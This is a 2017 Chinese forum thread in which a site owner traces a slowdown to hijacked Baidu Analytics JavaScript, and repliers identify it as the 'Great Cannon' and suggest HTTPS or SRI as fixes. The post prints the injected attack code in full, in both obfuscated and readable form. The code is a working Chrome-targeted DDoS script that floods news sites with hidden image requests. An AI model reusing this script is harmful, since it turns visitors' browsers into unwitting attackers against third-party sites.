guoqiao
V2EX  ›  问与答

Javascript 高手帮我看看百度这两段注入代码是想做什么?

  •  9
     
  •   guoqiao · Aug 19, 2017 · 5279 views
    This topic created in 3368 days ago, the information mentioned may be changed or developed.

    背景

    我的一个网站使用了百度统计,最近突然变得很慢,开始以为是我自己家里网络的问题,没有在意。 今天再次访问网站,MacBook Pro 的风扇呜呜作响,感觉都要爆炸了。 我打开 Chrome 的开发者工具,看到了这个(YouTube,需翻墙):

    https://www.youtube.com/watch?v=ySzVHv1bfdA

    页面底部被注入了图片链接,并且不断循环,链接均指向境外反动网站明镜网。 同时,页面上不断产生类似于下面这样的 503 错误,不一会儿就好几千个:

    http://ipv4.google.com/sorry/index?continue=http://www.mingjingtimes.com/%3Ft%3D150318023815&q=EgTSN1cMGIGa4MwFIhkA8aeDS3_xETjcPPEY575z-8z10KBSiPxLMgNyY24
    

    调试

    看起来是有某段 Javascript 代码对页面进行了注入。一些尝试:

    • 问题只出现在 Chrome 浏览器上,试了别的浏览器都没有出现。
    • 开始我以为是 Chrome 的扩展导致的,逐个删除,直到一个不剩,但问题还在。
    • 接着我怀疑是自己的电脑有问题,于是让一个跟我一样在境外的程序员朋友试了以下,问题一样,由此确定不是电脑问题。
    • 然后我又向另一位境内的资深程序员朋友咨询,他反复尝试,却不能重现问题。
    • 我在本地的开发环境也很快重现了问题(Django 项目)。

    通过在 Chrome 开发工具中对 JS 进行调试,最后定位到问题是这段百度统计代码引入的:

    var _hmt = _hmt || [];
    (function() {
        var hm = document.createElement("script");
        hm.src = "//hm.baidu.com/hm.js?375aa6d6013xxxx6e50751c1cxxxxxxxxx";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
    })();
    

    页面加载后,它先是注入了以下代码:

    eval(function(p, a, c, k, e, d) {
        e = function(c) {
            return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        }
        ;
        if (!''.replace(/^/, String)) {
            while (c--)
                d[e(c)] = k[c] || e(c);
            k = [function(e) {
                return d[e]
            }
            ];
            e = function() {
                return '\\w+'
            }
            ;
            c = 1;
        }
        ;while (c--)
            if (k[c])
                p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]);
        return p;
    }('e((/15\\/([\\d]+)/16.17(m.y.A.J())[1]>=12)&&(m.y.A.J().14("1b")<0)){3 L=1c;3 x=[\'i://1d.n.h/\',\'i://18.n.h/\',\'i://19.n.h/\',\'i://1a.T.h/\',\'i://H.n.h/U/V/H.11\'];3 K=Y;3 o=W;3 O=10;3 r=1;g q(){3 9=c 7();I 7.X(9.Z(),9.1e(),9.1v(),9.1w(),9.P(),9.N())/D}j.G("E")[0].F="<1u 1s=\\"C\\" 1t=\\"1x-C\\">"+j.G("E")[0].F;3 a=[];3 f=[];3 w=5;3 b=[];3 6=[];3 p=\'\';3 k=0;g v(2){3 8=a[2];e(8!=5){j.B.1z(8)}a[2]=5;e(k<K&&6[2]-w<L){M(\'s(\'+2+\')\',(6[2]-b[2])>o?o:(6[2]-b[2]))}}g S(2){e(a[2]==5){I}e(a[2].1f){m.z(f[2]);6[2]=c 7().l();v(2)}1g{e(c 7().l()-b[2]>o){m.z(f[2]);v(2)}}}g s(2){8=j.B.1r(j.1n(\'1o\'));p=x[q()%x.1m];8.1q=p+\'?t=\'+q()+Q.1p(Q.1l()*1h);8.1k.1j=\'1i\';a[2]=8;b[2]=6[2]=c 7().l();f[2]=1A("S("+2+")",1y);k=k+1}g R(){w=c 7().l();1B(3 4=0;4<O;4+=1){a[4]=5;f[4]=5;b[4]=5;6[4]=5;s(4)}}3 u=c 7();M(\'R()\',((r-u.P()%r)*13-u.N())*D)}', 62, 100, '||index|var|ti|null|responsetime_list|Date|p_img_tmp|dt|p_img_list|requesttime_list|new||if|timer_list|function|com|http|document|count|getTime|window|mingjingnews|TIMEGAP|url|unixtime|START_CLOCK|imgadd||now|imgdel|starttime|url_list|navigator|clearInterval|userAgent|body|referrer|1000|head|innerHTML|getElementsByTagName|bravo|return|toLowerCase|MAX_COUNT|MAX_TIME|setTimeout|getSeconds|THREAD|getMinutes|Math|start|isImgComplete|mingjingtimes|2017|01|500|UTC|100000000|getFullYear||html|34|60|indexOf|chrome|gi|exec|s1|tv|www|edge|300000|news|getMonth|complete|else|100|none|display|style|random|length|createElement|img|ceil|src|appendChild|name|content|meta|getDate|getHours|no|50|removeChild|setInterval|for'.split('|'), 0, {}))
    

    以及以下代码:

    if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
        var MAX_TIME = 300000;
        var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
        var MAX_COUNT = 100000000;
        var TIMEGAP = 500;
        var THREAD = 10;
        var START_CLOCK = 1;
        function unixtime() {
            var dt = new Date();
            return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
        }
        document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML;
        var p_img_list = [];
        var timer_list = [];
        var starttime = null;
        var requesttime_list = [];
        var responsetime_list = [];
        var url = '';
        var count = 0;
        function imgdel(index) {
            var p_img_tmp = p_img_list[index];
            if (p_img_tmp != null) {
                document.body.removeChild(p_img_tmp)
            }
            p_img_list[index] = null;
            if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) {
                setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index]))
            }
        }
        function isImgComplete(index) {
            if (p_img_list[index] == null) {
                return
            }
            if (p_img_list[index].complete) {
                window.clearInterval(timer_list[index]);
                responsetime_list[index] = new Date().getTime();
                imgdel(index)
            } else {
                if (new Date().getTime() - requesttime_list[index] > TIMEGAP) {
                    window.clearInterval(timer_list[index]);
                    imgdel(index)
                }
            }
        }
        function imgadd(index) {
            p_img_tmp = document.body.appendChild(document.createElement('img'));
            url = url_list[unixtime() % url_list.length];
            p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100);
            p_img_tmp.style.display = 'none';
            p_img_list[index] = p_img_tmp;
            requesttime_list[index] = responsetime_list[index] = new Date().getTime();
            timer_list[index] = setInterval("isImgComplete(" + index + ")", 50);
            count = count + 1
        }
        function start() {
            starttime = new Date().getTime();
            for (var ti = 0; ti < THREAD; ti += 1) {
                p_img_list[ti] = null;
                timer_list[ti] = null;
                requesttime_list[ti] = null;
                responsetime_list[ti] = null;
                imgadd(ti)
            }
        }
        var now = new Date();
        setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000)
    }
    

    后面这段代码的第一行显示,攻击仅仅针对 Chrome 浏览器。 而第三行代码,则给出了一串网址,用于循环生成需要插入的链接:

    var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
    

    可以看到它们全部指向明镜网的不同子域名,正是我所看到的。

    解决方案

    将百度统计的代码移除后,问题立即消失了。但是我很不解: 百度统计这是想做什么呢?难道是被黑了吗? 另外这两段代码,以及注入的内容,具体是想达到什么目的呢?看起来就是不断的插入和删除图片链接?

    期望高手解惑。

    40 replies  •  2017-08-21 20:40:11 +08:00
    oott123
    oott123
    Aug 19, 2017 via Android❤️15
    1
    哇,这不是著名的 GFW 大炮吗?居然现在还在工作?
    oh
    oh
    Aug 19, 2017 via iPhone
    2
    是不是 Chrome 的某个插件搞的?
    changwei
    changwei
    Aug 19, 2017 via Android
    3
    楼主这真有耐心,话说这不会是百度统计官方被黑了吧?真是的话就是一个很重大的安全事件啊。
    changwei
    changwei
    Aug 19, 2017
    4
    百度统计好像已经挂了,我这自己抓自己页面上百度统计指向的那个 js 文件,返回空响应了。估计是被黑了。
    t6attack
    t6attack
    Aug 19, 2017
    5
    @changwei hm.baidu.com/hm.js 这个文件你从外部抓取,返回的永远是空。从控制台->Sources 里看就有了。
    electric
    electric
    Aug 19, 2017
    6
    这不就是长城防火墙篡改了吗?以前还利用类似手法搞过 git,锅也是百度背!
    changwei
    changwei
    Aug 19, 2017
    7
    @t6attack 我就是在 chrome 开发者工具 network 里面看的,是空的
    Kirscheis
    Kirscheis
    Aug 19, 2017❤️2
    8
    你在海外或者使用了海外 ip 吗?看起来和以前发生过的一次劫持百度统计 js 进行攻击的事件很相似。。不细说。。
    learnshare
    learnshare
    Aug 19, 2017
    9
    劫持百度 GET github.com/***
    v1024
    v1024
    Aug 19, 2017 via iPhone❤️1
    11
    因为这个网站刚刚参加健身活动,需要管管
    neoFelhz
    neoFelhz
    Aug 19, 2017 via Android
    12
    中国大炮,又开火啦?
    7654
    7654
    Aug 19, 2017
    13
    用个反动网站招惹 GFW ?不明白这什么操作
    chinvo
    chinvo
    Aug 19, 2017❤️1
    14
    传说中的 Great Cannon,和 Great FW 协同工作的主动式(画重点)“审查”工具
    yksoft1
    yksoft1
    Aug 19, 2017
    15
    我操,这不是当初打 github 用的手法么。好在百度统计,cnzz 之类早就被我 adblock 了
    yksoft1
    yksoft1
    Aug 19, 2017
    16
    搞这个网站的目的,应该是因为它在直播世大运开幕式?
    Hardrain
    Hardrain
    Aug 19, 2017
    17
    Great Cannon
    finalspeed
    finalspeed
    Aug 19, 2017 via Android
    18
    难道是因为昨天的 818
    7654
    7654
    Aug 20, 2017
    19
    @yksoft1 #16 还有这种操作?
    lxy
    lxy
    Aug 20, 2017❤️1
    20
    大炮重出江湖……
    试试把百度统计换成 HTTPS 引用(如果有的话
    torbrowserbridge
    torbrowserbridge
    Aug 20, 2017 via Android❤️1
    21
    奉旨 DDoS
    guoqiao
    guoqiao
    OP
    Aug 20, 2017❤️1
    22
    谢谢各位,以前对这个`Great Cannon`有所耳闻,没想到会真实的发生在我自己身上。
    在这件事里,百度其实惨的,不过也算是因果报应吧。
    Trumeet
    Trumeet
    Aug 20, 2017 via Android
    23
    我的第一反應:啥?你度還有統計?..
    jsw
    jsw
    Aug 20, 2017 via Android
    24
    🤔可以上防盗链方案?
    看到奇怪的 referrer 就 301 走打别人(
    guoqiao
    guoqiao
    OP
    Aug 20, 2017
    25
    @jsw 直接不用百度统计了,本来我也不是很需要
    jsw
    jsw
    Aug 20, 2017 via Android
    26
    好恶心居然砍掉 referrer
    tangzx
    tangzx
    Aug 20, 2017 via iPhone
    27
    @guoqiao 换 GA 就好,面向国内的网站 GA 数据也是能正常收集的
    edhelper0
    edhelper0
    Aug 20, 2017 via Android
    28
    好玩了,百度这几回吃相,呵呵。前几天作业帮的事情还没完呢……
    Coande
    Coande
    Aug 20, 2017 via Android
    29
    发现个有趣的事情,分享这个帖子会跳转到首页←_←
    wly19960911
    wly19960911
    Aug 20, 2017 via Android
    30
    @Coande 被设置权限了,没有账号登录不允许访问强制主页
    icedent
    icedent
    Aug 20, 2017
    31
    @lxy 有的,我的博客就在用百度统计的 HTTPS
    techmoe
    techmoe
    Aug 20, 2017
    32
    恭喜楼主发现大炮
    感觉这也是我第一次亲眼目睹 GFW 大炮的工作方式。。
    Coxxs
    Coxxs
    Aug 20, 2017
    33
    @guoqiao 百度统计的 js 改为 https 开头的即可,当然也推荐贵站尽快使用 https。
    ijse
    ijse
    Aug 20, 2017
    34
    会不会是因为运营商劫持的原因?
    xinxijishuwyq
    xinxijishuwyq
    Aug 20, 2017
    35
    这是 gfw 的 ddos ?
    iyaozhen
    iyaozhen
    Aug 20, 2017 via Android
    36
    @lxy 正解,你被劫持了,百度统计的引用强制改成 https 的吧。
    xierch
    xierch
    Aug 20, 2017 via Android
    37
    其实 HTTPS 也不解决问题啊……是吧……
    得要 SRI ?(就是 <script> 里加 hash 的那个
    wjm2038
    wjm2038
    Aug 20, 2017 via Android
    38
    这还是早发现了,几年前的 github 都是打不开才发现的
    alect
    alect
    Aug 20, 2017
    39
    hm.src = "//hm.baidu 改成 hm.src = "https://hm.baidu 试试看,如果还有可以放弃,我现在用的 cnzz 的统计还不错
    872517414
    872517414
    Aug 21, 2017 via Android
    40
    发现基本上都在说 cnzz,没有人有谷歌统计么?
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1929 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 92ms · UTC 04:56 · PVG 12:56 · LAX 20:56 · JFK 23:56
    ♥ Do have faith in what you're doing.